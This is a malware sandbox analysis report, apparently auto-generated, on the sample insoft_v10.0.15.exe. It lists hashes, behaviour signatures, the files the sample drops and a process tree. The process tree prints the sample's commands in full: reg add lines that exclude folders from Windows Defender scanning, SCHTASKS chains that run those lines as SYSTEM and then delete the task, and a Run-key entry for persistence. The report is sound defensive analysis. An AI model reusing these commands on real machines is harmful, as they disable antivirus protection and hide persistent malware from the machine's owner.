Analysis
- max time kernel
150s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
15/08/2026, 14:29
Static task
static1
Behavioral task
behavioral1
Sample
insoft_v10.0.15.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
insoft_v10.0.15.exe
Resource
win11ltsc2024-20260709-en
General
- Target insoft_v10.0.15.exe
- Size 35.0MB
- Sample260815-rtpmrayxay
- SHA256 43e5f9117ef6ee0df19e3b00c635ce86f91c368b623251165c25238de87470a0
- MD5 97412ff38d4480b89a59c00cc3da4c72
- SHA1 953ba9b071bacdc2526d0dfa89d78a4ff5ba2136
- SHA512 b360c941784075e8d45961e54add9c43e7261e6d03a2c5d41d4c43d5e2261f1afa04a8dbd44db0abd9224081ec9b3b85cccb353a8b28cc61e40bd5ce1efbeb8a
- SSDEEP 196608:fQnmE+fMeDKqTnrT+B7A6Z6dSBqtiEPFNPL12V5pvUFgA3:oKJnGBr4Xu7vUx
- TLSH T1F187074ABB40CEE6E11A85B098A77B1163FEFD6147E1C30321C83B15DF1B29D4EA7598
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 10 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\zg4NaS = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation HequFj.exe - Executes dropped EXE 2 IoCs
pid Process 204 HequFj.exe 1336 HequFj.exe - Loads dropped DLL 2 IoCs
pid Process 204 HequFj.exe 1336 HequFj.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\zg4NaS\\HequFj.exe\"" HequFj.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 3476 cmd.exe 3128 cmd.exe 3252 cmd.exe 1456 cmd.exe 4392 cmd.exe - Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b HequFj.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 5 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4584 cmd.exe 4744 cmd.exe 4776 cmd.exe 3232 cmd.exe 1528 cmd.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1792 schtasks.exe 4472 schtasks.exe 3008 schtasks.exe 1224 schtasks.exe 3332 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2088 insoft_v10.0.15.exe 2088 insoft_v10.0.15.exe 2088 insoft_v10.0.15.exe 2088 insoft_v10.0.15.exe 2088 insoft_v10.0.15.exe 2088 insoft_v10.0.15.exe 2088 insoft_v10.0.15.exe 2088 insoft_v10.0.15.exe 2088 insoft_v10.0.15.exe 2088 insoft_v10.0.15.exe 2088 insoft_v10.0.15.exe 2088 insoft_v10.0.15.exe 2088 insoft_v10.0.15.exe 2088 insoft_v10.0.15.exe 2088 insoft_v10.0.15.exe 2088 insoft_v10.0.15.exe 2088 insoft_v10.0.15.exe 2088 insoft_v10.0.15.exe 2088 insoft_v10.0.15.exe 2088 insoft_v10.0.15.exe 2088 insoft_v10.0.15.exe 2088 insoft_v10.0.15.exe 2088 insoft_v10.0.15.exe 2088 insoft_v10.0.15.exe 2088 insoft_v10.0.15.exe 2088 insoft_v10.0.15.exe 2088 insoft_v10.0.15.exe 2088 insoft_v10.0.15.exe 2088 insoft_v10.0.15.exe 2088 insoft_v10.0.15.exe 2088 insoft_v10.0.15.exe 2088 insoft_v10.0.15.exe 204 HequFj.exe 204 HequFj.exe 204 HequFj.exe 204 HequFj.exe 204 HequFj.exe 204 HequFj.exe 204 HequFj.exe 204 HequFj.exe 204 HequFj.exe 204 HequFj.exe 204 HequFj.exe 204 HequFj.exe 204 HequFj.exe 204 HequFj.exe 204 HequFj.exe 204 HequFj.exe 204 HequFj.exe 204 HequFj.exe 204 HequFj.exe 204 HequFj.exe 204 HequFj.exe 204 HequFj.exe 204 HequFj.exe 204 HequFj.exe 204 HequFj.exe 204 HequFj.exe 204 HequFj.exe 204 HequFj.exe 204 HequFj.exe 204 HequFj.exe 204 HequFj.exe 204 HequFj.exe - Suspicious behavior: LoadsDriver 4 IoCs
pid Process 664 Process not Found 664 Process not Found 664 Process not Found 664 Process not Found - Suspicious use of WriteProcessMemory 25 IoCs
description pid Process procid_target PID 204 wrote to memory of 3128 204 HequFj.exe 97 PID 3128 wrote to memory of 4472 3128 cmd.exe 100 PID 3128 wrote to memory of 1668 3128 cmd.exe 101 PID 204 wrote to memory of 3252 204 HequFj.exe 104 PID 3128 wrote to memory of 460 3128 cmd.exe 106 PID 3252 wrote to memory of 3008 3252 cmd.exe 109 PID 3252 wrote to memory of 600 3252 cmd.exe 110 PID 4744 wrote to memory of 1380 4744 cmd.exe 113 PID 4584 wrote to memory of 2376 4584 cmd.exe 114 PID 204 wrote to memory of 1456 204 HequFj.exe 115 PID 3252 wrote to memory of 1472 3252 cmd.exe 117 PID 1456 wrote to memory of 1224 1456 cmd.exe 118 PID 1456 wrote to memory of 1740 1456 cmd.exe 119 PID 1456 wrote to memory of 1296 1456 cmd.exe 122 PID 4776 wrote to memory of 3176 4776 cmd.exe 123 PID 204 wrote to memory of 4392 204 HequFj.exe 124 PID 4392 wrote to memory of 3332 4392 cmd.exe 126 PID 4392 wrote to memory of 332 4392 cmd.exe 127 PID 3232 wrote to memory of 2256 3232 cmd.exe 130 PID 4392 wrote to memory of 1108 4392 cmd.exe 131 PID 204 wrote to memory of 3476 204 HequFj.exe 132 PID 3476 wrote to memory of 1792 3476 cmd.exe 134 PID 3476 wrote to memory of 2008 3476 cmd.exe 135 PID 3476 wrote to memory of 2088 3476 cmd.exe 137 PID 1528 wrote to memory of 1060 1528 cmd.exe 139 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\insoft_v10.0.15.exe"C:\Users\Admin\AppData\Local\Temp\insoft_v10.0.15.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
PID:2088
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C:\Users\Public\zg4NaS\HequFj.exeC:\Users\Public\zg4NaS\HequFj.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:204 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\zg4NaS\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3128 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\zg4NaS\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4472
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:1668
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:460
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3252 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3008
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:600
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1472
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1456 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1224
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:1740
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1296
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4392 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3332
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:332
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1108
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3476 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1792
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2008
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2088
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C:\Users\Public\zg4NaS\HequFj.exe"C:\Users\Public\zg4NaS\HequFj.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1336
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\zg4NaS" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4584 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\zg4NaS" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:2376
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C:\Windows\system32\cmd.execmd.exe1⤵PID:4868
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4744 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:1380
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4776 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:3176
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3232 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:2256
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1528 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:1060
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Public\zg4NaS\HequFj.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\zg4NaS\UxEnhance64.dll
- Size 3.1MB
- SHA256 ed1e7cf7de274f7fc5bd205fa9bf9d74768ca64ac296f46a3e17079fbe102516
- MD5 e2ce86781c6148231c931f2b8e6f2238
- SHA1 d96177523bbf11e9cfa6e06d0593fbb8f361cc07
- SHA512 c53d25986ca9402990fd48ecc00cadc132606bfeff7db117256ff65730479ad00fbcec93898d2b80806c913c04475e0679feaffcab772e54ebca26ea0895a940
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+C:P9m29xx3Tiqt06ox6+z2rNNrKoC
- TLSH T1C0E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\zg4NaS\adoresd.dat
- Size 4.7MB
- SHA256 475466effeda3bd556877d764b6ccefec3a0c643590b8ec721732c127f9c5bc2
- MD5 6d9dc9e04bfcbcf8d98bfbec89eeacf3
- SHA1 e1023ce29b30080c6f80be87b15bb02e9f25c066
- SHA512 fa6536b8811e96b8a4d88021eb6e5899f5d56584584cae35f7a79cc586188c399a447c4dc5fcb8ad51812d3c0eeecbac185fdfd30696dc5adabc49e7fa3ec882
- SSDEEP 98304:nKC/XwuPMlcCGQtZspbohHC0CYxm5YrKjaHhIVyU8zU9VQIr6K:nKClqhi0Cv54K2IVS0VQg
- TLSH T1673633C90DC0ED7D61810A8478A91192F6713147E2F1E6E8FD6C7E0AB87FD52E1A3B58
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\zg4NaS\msadox.tb
- Size 8KB
- SHA256 4fe47efa98520760bd5e2ea7021f5f9022a0b6fc4ea92537ae5de2fc60b3f34a
- MD5 4d4b19cccf173980926748330363a5d2
- SHA1 00e1a2ef709a330afb04496a4d1e2f1a978bd939
- SHA512 3ba5049e8d032753694f65100f91e17a00f70568bb1598ace548798cc17c37c626539e9c8aa3f70ee2a7b9647e1182063acc60ebd401e6f4010db0379d5a707f
- SSDEEP 192:bqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:bsZqZOXQ3uqvR2Kfzp
- TLSH T1FA029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C1670B2DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH